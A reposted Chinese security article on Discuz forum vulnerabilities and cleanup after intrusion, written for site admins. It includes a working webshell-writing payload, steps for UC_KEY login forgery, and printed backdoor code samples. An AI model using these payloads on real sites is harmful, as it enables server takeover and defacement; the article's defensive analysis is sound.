[backcolor=rgba(255, 255, 255, 0.6)]0x00 网站快照劫持:DZ常见漏洞利用分析
[backcolor=rgba(255, 255, 255, 0.6)]0x01 Discuz上传图片附件实现远程命令执行漏洞 [backcolor=rgba(255, 255, 255, 0.6)]漏洞产生过程:forum_image.php中的$w,$h变量可控,末处理直接传入Thumb()函数,经该函数传入Thumb_IM()函数,最终调用exec()导致远程命令执行漏洞。 [backcolor=rgba(255, 255, 255, 0.6)]通过分析可知:需要forum.php调用image_class模块调用图像预览功能,后台上传设置为ImagicMagick库,默认为GD库渲染。前台登录发贴上传图片附件。 [backcolor=rgba(255, 255, 255, 0.6)]提示: forum.php是常被利用的文件(论坛首页入口组件),论坛附件上传是个突破口。
[backcolor=rgba(255, 255, 255, 0.6)]0x02 ImageMagick远程执行漏洞分析及利用 [backcolor=rgba(255, 255, 255, 0.6)]目前所有版本的Graphicsmagick和ImageMagick都支持打开文件,当文件名的第一个字符为‘|’,则文件名会被传递给shell程序执行,导致(可能远程)代码执行。 [backcolor=rgba(255, 255, 255, 0.6)]提示:ImageMagick图片程序对文件名处理机制存在漏洞
[backcolor=rgba(255, 255, 255, 0.6)]0x03 Discuz GetShell(获取权限)漏洞EXP [backcolor=rgba(255, 255, 255, 0.6)]1.注册任意账户,登陆用户,发表blog日志(注意是日志) [backcolor=rgba(255, 255, 255, 0.6)]2.添加图片,选择网络图片,地址 [backcolor=rgba(255, 255, 255, 0.6)]{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} [backcolor=rgba(255, 255, 255, 0.6)]3.访问日志,论坛根目录下生成demo.php,一句话密码c
[backcolor=rgba(255, 255, 255, 0.6)]由0x01、0x02与0x03可知论坛上传图片是被利用最常见的漏洞,管理员们要注意把控。
[backcolor=rgba(255, 255, 255, 0.6)]0x04 Discuz获取UC key Getshell(获取权限) 。 [backcolor=rgba(255, 255, 255, 0.6)]知道UC的appkey的情况下getshell,问题的根源在于api/uc.php [backcolor=rgba(255, 255, 255, 0.6)]几乎所有版本都可以(在得到uc_key情况下)/api/uc.php里面有个synlogin方法 [backcolor=rgba(255, 255, 255, 0.6)]只要网上随便找个以前uckeygetshell的脚本加密一下这个'time='.time().'&action=synlogin&uid=你要登录的用户的id';得到code后直接访问域名/api/uc.php?code=你加密后的code,就能登录了,admin管理员也是可以登录的。 [backcolor=rgba(255, 255, 255, 0.6)]Discuz 的UCenter创始人密码可被爆破,访问登录路径/uc_server/admin.php实现爆破 [backcolor=rgba(255, 255, 255, 0.6)]修改文件默认路径,robots.txt注意目录防护,修改UC key加强防范。 [backcolor=rgba(255, 255, 255, 0.6)]有乌云白帽发现Discuz!程序存在一个安全bug,在得知UC_KEY的情况下,可以轻松向受害站点写入后门代码,可对服务器进行渗透或者对网站进行篡改,挂马。获取到的UC_KEY,可重置论坛任意用户的密码,并清除安全提问。利用UC_KEY可登录任意用户。 [backcolor=rgba(255, 255, 255, 0.6)]UC_KEY的泄漏主要有以下几个途径: [backcolor=rgba(255, 255, 255, 0.6)]1.整站打包备份被下载 [backcolor=rgba(255, 255, 255, 0.6)]2.文件备份压缩包被扫描下载 [backcolor=rgba(255, 255, 255, 0.6)]3.SVN等源码管理系统泄漏代码 [backcolor=rgba(255, 255, 255, 0.6)]4.服务器入侵被提了UC_KEY用作后门等等 [backcolor=rgba(255, 255, 255, 0.6)]UCenter Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key重置用户口令。 [backcolor=rgba(255, 255, 255, 0.6)]获取uc_key可以通过“config\config_ucenter.php”文件获取。 [backcolor=rgba(255, 255, 255, 0.6)]如果系统开启了防水墙会禁止危险脚本访问,对利用代码进行屏蔽和阻止,导致Webshell获取失败。对于X2.5系列,则可以轻松获取Webshell,执行命令“php uc_key.php”命令后,会直接修改“config\config_ucenter.php”。
[backcolor=rgba(255, 255, 255, 0.6)]由0x04可知,UC key是十分重要的,最好定期修改,如果网站被黑内容被篡改找不到任何突破口,请先修改UC key!
[backcolor=rgba(255, 255, 255, 0.6)]0x05 Discuz redis/memcache+ssrf Getshell漏洞问题 [backcolor=rgba(255, 255, 255, 0.6)]Discuz存在SSRF漏洞,在配置了memcache的情况下,攻击者可以利用ssrf通过memcache中转,向磁盘上写入Webshell恶意代码,从而造成数据库泄漏。 [backcolor=rgba(255, 255, 255, 0.6)]解法一: [backcolor=rgba(255, 255, 255, 0.6)]更新替换官方补丁文件:/source/function/function_core.php [backcolor=rgba(255, 255, 255, 0.6)]解法二: [backcolor=rgba(255, 255, 255, 0.6)]停止使用或卸载memcache [backcolor=rgba(255, 255, 255, 0.6)]windows下的Memcache卸载方法: [backcolor=rgba(255, 255, 255, 0.6)]memcached -d stop [backcolor=rgba(255, 255, 255, 0.6)]memcached -d remove [backcolor=rgba(255, 255, 255, 0.6)]sc delete "Memcached Server" [backcolor=rgba(255, 255, 255, 0.6)]linux memcached 卸载方法: [backcolor=rgba(255, 255, 255, 0.6)]1、首先查找你的memcached所在目录,可用如下命令查找名为memcached的文件夹 [backcolor=rgba(255, 255, 255, 0.6)]find / -name memcached [backcolor=rgba(255, 255, 255, 0.6)]2、结束memcached进程 [backcolor=rgba(255, 255, 255, 0.6)]killall memcached [backcolor=rgba(255, 255, 255, 0.6)]3、删除memcached目录及文件 [backcolor=rgba(255, 255, 255, 0.6)]rm -rf /www/wdlinux/memcached [backcolor=rgba(255, 255, 255, 0.6)]rm -rf /www/wdlinux/init.d/memcached [backcolor=rgba(255, 255, 255, 0.6)]4、关闭memcached开机启动 [backcolor=rgba(255, 255, 255, 0.6)]chkconfig memcached off [backcolor=rgba(255, 255, 255, 0.6)]5、把memcached移出开机启动 [backcolor=rgba(255, 255, 255, 0.6)]chkconfig --del memcached [backcolor=rgba(255, 255, 255, 0.6)]一般的小站用不着redis/memcache缓解网站压力,所以基本是大站才会受影响。 [backcolor=rgba(255, 255, 255, 0.6)]redis/memcache是干嘛的呢?其实可以把它们理解成一个高性能的数据库,当网站的缓存很大的时候,利用redis/memcache来处理缓存可以提高网站的性能dz的后台也可以看到是否在使用redis/memcache。 [backcolor=rgba(255, 255, 255, 0.6)]如何用redis/memcache做Mysql缓存层呢? [backcolor=rgba(255, 255, 255, 0.6)]memcached和redis的区别。前者终究是个缓存,不可能永久保存数据(LRU机制),支持分布式,后者除了缓存的同时也支持把数据持久化到磁盘等。 [backcolor=rgba(255, 255, 255, 0.6)]前提:较少变更的数据才适合做缓存(如css与脚本等) [backcolor=rgba(255, 255, 255, 0.6)]首先你要自己在服务器上安装redis,然后php默认没有redis扩展,还需要安装phpredis扩展,顺便说一下,phpredis的2.1版本兼容性不太好,安装上去后无法访问网站,用2.28版本就可以了
[backcolor=rgba(255, 255, 255, 0.6)]0x06 SSRF漏洞原理与复现 [backcolor=rgba(255, 255, 255, 0.6)]简单的说,漏洞就是通过ssrf来操作redis,更改了全局变量的值,导致任意代码执行 [backcolor=rgba(255, 255, 255, 0.6)]当dz设置使用缓存后,初始化时会把缓存内容加入全局变量$_G [backcolor=rgba(255, 255, 255, 0.6)]Source/class/discuz/discuz_application.php [backcolor=rgba(255, 255, 255, 0.6)]redis 使用的时候一定要设置密码和访问权限 [backcolor=rgba(255, 255, 255, 0.6)]SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) [backcolor=rgba(255, 255, 255, 0.6)]SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。 [backcolor=rgba(255, 255, 255, 0.6)]具体危害体现在以下几点上: [backcolor=rgba(255, 255, 255, 0.6)]1、URL为内网IP或域名,攻击者将可以通过SSRF漏洞扫描目标内网,查找内网内的漏洞,并想办法反弹权限。 [backcolor=rgba(255, 255, 255, 0.6)]2、URL中包含端口,攻击者将可以扫描并发现内网中机器的其他服务(除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等)。 [backcolor=rgba(255, 255, 255, 0.6)]3、当请求方法允许其他协议的时候,将可能利用gophar、file等协议进行第三方服务利用,如利用内网的redis获取权限、利用fastcgi进行getshell等。 [backcolor=rgba(255, 255, 255, 0.6)]很多开发者认为,只要检查一下请求url的host不为内网IP,即可防御SSRF。这个观点其实提出了两个技术要点: [backcolor=rgba(255, 255, 255, 0.6)]如何检查IP是否为内网IP [backcolor=rgba(255, 255, 255, 0.6)]如何获取真正请求的host [backcolor=rgba(255, 255, 255, 0.6)]于是,攻击者通过这两个技术要点,针对性地想出了很多绕过方法。
[backcolor=rgba(255, 255, 255, 0.6)]0x05与0x06 ssrf Getshell是比较牛的黑客技术才能做的到的。 [backcolor=rgba(255, 255, 255, 0.6)]综上可知,网站被黑,无非就是上传文件getshell提权扫描分析站点文件,执行代码篡改。可针对以上漏洞,采取加强措施防范,重要的事情说一遍:插件不要随便用,后门可执行代码防不胜防!
[backcolor=rgba(255, 255, 255, 0.6)]discuz 被入侵后,最可能被修改的文件 [backcolor=rgba(255, 255, 255, 0.6)]最近发现站点被黑了,现在还不知道是由系统漏洞导致的系统账户被攻陷,还是程序漏洞,文件被篡改。有一些敏感关键词(例如:赌博,电子路单)被恶意指向,点击搜索结果自动跳转到其他站点,而且是大量的,通过搜索“site:xxx.com 赌博”,会发现一大堆。该目的是为该站点导流量,还有传递权重。 [backcolor=rgba(255, 255, 255, 0.6)]为了防止暴露,入侵者会把被篡改的文件时间戳保持不变,所以通过修改时间是发现不到可疑文件的 [backcolor=rgba(255, 255, 255, 0.6)]现在解决办法只限于,查找程序源码,一个一个文件对比最初的文件,最后发现有两个文件最重要,如下: [backcolor=rgba(255, 255, 255, 0.6)]1 source/function/function_core.php [backcolor=rgba(255, 255, 255, 0.6)]2 uc_server/control/admin/user.php [backcolor=rgba(255, 255, 255, 0.6)]3 source/class/discuz/discuz_admincp.php [backcolor=rgba(255, 255, 255, 0.6)]4 source/class/discuz/discuz_application.php [backcolor=rgba(255, 255, 255, 0.6)]因为这四个文件,function_core.php是是核心函数库所有页面都会包含;user.php是ucenter后台登陆,discuz_admincp.php是discuz管理中心用户登录,都可以获得管理员账号和密码;discuz_application.php是整个discuz初始化的核心类文件,初始化加载。 [backcolor=rgba(255, 255, 255, 0.6)]遇到相同问题的朋友,请首先查看这几个文件是否被修改。
[backcolor=rgba(255, 255, 255, 0.6)]入侵方式一:一般会在全局文件中include一个外部的文件,例如: [backcolor=rgba(255, 255, 255, 0.6)]@include('/dev/shm/.../tmp'); [backcolor=rgba(255, 255, 255, 0.6)]@include(PACK('H*','2f746d702f2e612f636c69656e742e706870')); [backcolor=rgba(255, 255, 255, 0.6)]入侵方式二: [backcolor=rgba(255, 255, 255, 0.6)]植入代码,可以执行外部传入的代码,例如:@array_map("ass\x65rt",(array)@$_REQUEST['ADMINCPS']);
ass\x65rt 其实就是 “assert”。 [backcolor=rgba(255, 255, 255, 0.6)]根据上面的线索,在下面的地方应该可以发现一些有恶意代码的文件,一般是恶意搜索引擎 [backcolor=rgba(255, 255, 255, 0.6)]· 系统的虚拟内存是否有东西,ls -a /dev/shm/ 例如:三个点的... 的隐藏文件 [backcolor=rgba(255, 255, 255, 0.6)]· ls -a /tmp 这个也要注意
[backcolor=rgba(255, 255, 255, 0.6)]文章转载:微山湖SEO
|